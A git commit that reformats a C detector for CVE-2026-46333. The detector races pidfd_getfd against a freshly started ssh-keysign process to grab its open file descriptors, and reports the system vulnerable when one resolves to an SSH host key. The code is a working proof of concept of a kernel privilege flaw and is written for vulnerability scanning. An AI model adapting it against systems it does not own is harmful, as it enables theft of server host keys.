commit 5c1620823a266444d9b3261ae5dcf36be34338d1
parent 4bf0dfe2b7cae70c9a9eea0f948b70c57e9b74ee
Author: finwo <finwo@pm.me>
Date: Tue, 19 May 2026 15:40:21 +0200
Auto-formatting
Diffstat:
1 file changed, 92 insertions(+), 106 deletions(-)
diff --git a/src/detector/cve-2026-46333.c b/src/detector/cve-2026-46333.c
@@ -23,124 +23,110 @@
#include "setup.h"
#ifndef __NR_pidfd_open
-#define __NR_pidfd_open 434
+#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
-static int my_pidfd_open(pid_t pid, unsigned flags)
-{
- return (int)syscall(__NR_pidfd_open, pid, flags);
+static int my_pidfd_open(pid_t pid, unsigned flags) {
+ return (int)syscall(__NR_pidfd_open, pid, flags);
}
-static int my_pidfd_getfd(int pidfd, int targetfd, unsigned flags)
-{
- return (int)syscall(__NR_pidfd_getfd, pidfd, targetfd, flags);
+static int my_pidfd_getfd(int pidfd, int targetfd, unsigned flags) {
+ return (int)syscall(__NR_pidfd_getfd, pidfd, targetfd, flags);
}
static const char *SSH_KEYSIGN_PATHS[] = {
- "/usr/libexec/ssh-keysign",
- "/usr/libexec/openssh/ssh-keysign",
- "/usr/lib/ssh/ssh-keysign",
- "/usr/lib/openssh/ssh-keysign",
- NULL,
+ "/usr/libexec/ssh-keysign",
+ "/usr/libexec/openssh/ssh-keysign",
+ "/usr/lib/ssh/ssh-keysign",
+ "/usr/lib/openssh/ssh-keysign",
+ NULL,
};
-int detector_cve_2026_46333(struct cve_context *ctx)
-{
- const char *bin = NULL;
-
- /* Locate ssh-keysign binary */
- for (int i = 0; SSH_KEYSIGN_PATHS[i]; i++) {
- if (access(SSH_KEYSIGN_PATHS[i], X_OK) == 0) {
- bin = SSH_KEYSIGN_PATHS[i];
- break;
- }
- }
- if (!bin) {
- /* ssh-keysign not present — not exploitable */
- return 0;
- }
-
- /*
- * Try up to 200 rounds. The upstream exploit uses 500; 200 is
- * enough to be confident while keeping detector runtime reasonable.
- */
- for (int round = 0; round < 200; round++) {
- pid_t child = fork();
- if (child < 0)
- return 0;
-
- if (child == 0) {
- /* Child: redirect stdio and exec ssh-keysign */
- int dn = open("/dev/null", O_RDWR);
- if (dn >= 0) {
- dup2(dn, 0);
- dup2(dn, 1);
- dup2(dn, 2);
- if (dn > 2)
- close(dn);
- }
- execl(bin, "ssh-keysign", (char *)NULL);
- _exit(127);
- }
-
- int pidfd = my_pidfd_open(child, 0);
- if (pidfd < 0) {
- waitpid(child, NULL, 0);
- continue;
- }
-
- int hit = 0;
- for (int a = 0; a < 30000 && !hit; a++) {
- /* If the child already exited, stop hammering pidfd_getfd */
- if (waitpid(child, NULL, WNOHANG) > 0)
- break;
- for (int fd = 3; fd < 32; fd++) {
- int stolen = my_pidfd_getfd(pidfd, fd, 0);
- if (stolen < 0)
- continue;
-
- /* Resolve the stolen fd to see what it points at */
- char path[256] = {0};
- char link[64];
- snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen);
- ssize_t n = readlink(link, path, sizeof(path) - 1);
- if (n > 0)
- path[n] = '\0';
-
- if (strstr(path, "ssh_host_") && strstr(path, "_key")) {
- /* Found a host key fd — system is vulnerable */
- if (ctx->verbose)
- fprintf(stderr,
- "[cve-2026-46333] vulnerable: stole fd %d -> %s\n",
- fd, path);
- close(stolen);
- hit = 1;
- break;
- }
- close(stolen);
- }
- }
-
- close(pidfd);
- waitpid(child, NULL, 0);
-
- if (hit)
- return 1; /* vulnerable */
- }
-
- /* No hit after all rounds — likely patched */
- return 0;
+int detector_cve_2026_46333(struct cve_context *ctx) {
+ const char *bin = NULL;
+
+ /* Locate ssh-keysign binary */
+ for (int i = 0; SSH_KEYSIGN_PATHS[i]; i++) {
+ if (access(SSH_KEYSIGN_PATHS[i], X_OK) == 0) {
+ bin = SSH_KEYSIGN_PATHS[i];
+ break;
+ }
+ }
+ if (!bin) {
+ /* ssh-keysign not present — not exploitable */
+ return 0;
+ }
+
+ /*
+ * Try up to 200 rounds. The upstream exploit uses 500; 200 is
+ * enough to be confident while keeping detector runtime reasonable.
+ */
+ for (int round = 0; round < 200; round++) {
+ pid_t child = fork();
+ if (child < 0) return 0;
+
+ if (child == 0) {
+ /* Child: redirect stdio and exec ssh-keysign */
+ int dn = open("/dev/null", O_RDWR);
+ if (dn >= 0) {
+ dup2(dn, 0);
+ dup2(dn, 1);
+ dup2(dn, 2);
+ if (dn > 2) close(dn);
+ }
+ execl(bin, "ssh-keysign", (char *)NULL);
+ _exit(127);
+ }
+
+ int pidfd = my_pidfd_open(child, 0);
+ if (pidfd < 0) {
+ waitpid(child, NULL, 0);
+ continue;
+ }
+
+ int hit = 0;
+ for (int a = 0; a < 30000 && !hit; a++) {
+ /* If the child already exited, stop hammering pidfd_getfd */
+ if (waitpid(child, NULL, WNOHANG) > 0) break;
+ for (int fd = 3; fd < 32; fd++) {
+ int stolen = my_pidfd_getfd(pidfd, fd, 0);
+ if (stolen < 0) continue;
+
+ /* Resolve the stolen fd to see what it points at */
+ char path[256] = {0};
+ char link[64];
+ snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen);
+ ssize_t n = readlink(link, path, sizeof(path) - 1);
+ if (n > 0) path[n] = '\0';
+
+ if (strstr(path, "ssh_host_") && strstr(path, "_key")) {
+ /* Found a host key fd — system is vulnerable */
+ if (ctx->verbose) fprintf(stderr, "[cve-2026-46333] vulnerable: stole fd %d -> %s\n", fd, path);
+ close(stolen);
+ hit = 1;
+ break;
+ }
+ close(stolen);
+ }
+ }
+
+ close(pidfd);
+ waitpid(child, NULL, 0);
+
+ if (hit) return 1; /* vulnerable */
+ }
+
+ /* No hit after all rounds — likely patched */
+ return 0;
}
-__attribute__((constructor))
-void detector_cve_2026_46333_setup(void)
-{
- detector_queue_append("CVE-2026-46333", "ssh-keysign-pwn",
- "Update the Linux kernel to >= 31e62c2ebbfd (2026-05-14) or later.\n"
- " No per-binary workaround is effective — the flaw is in the\n"
- " kernel's __ptrace_may_access() and affects any setuid binary.",
- detector_cve_2026_46333);
+__attribute__((constructor)) void detector_cve_2026_46333_setup(void) {
+ detector_queue_append("CVE-2026-46333", "ssh-keysign-pwn",
+ "Update the Linux kernel to >= 31e62c2ebbfd (2026-05-14) or later.\n"
+ " No per-binary workaround is effective — the flaw is in the\n"
+ " kernel's __ptrace_may_access() and affects any setuid binary.",
+ detector_cve_2026_46333);
}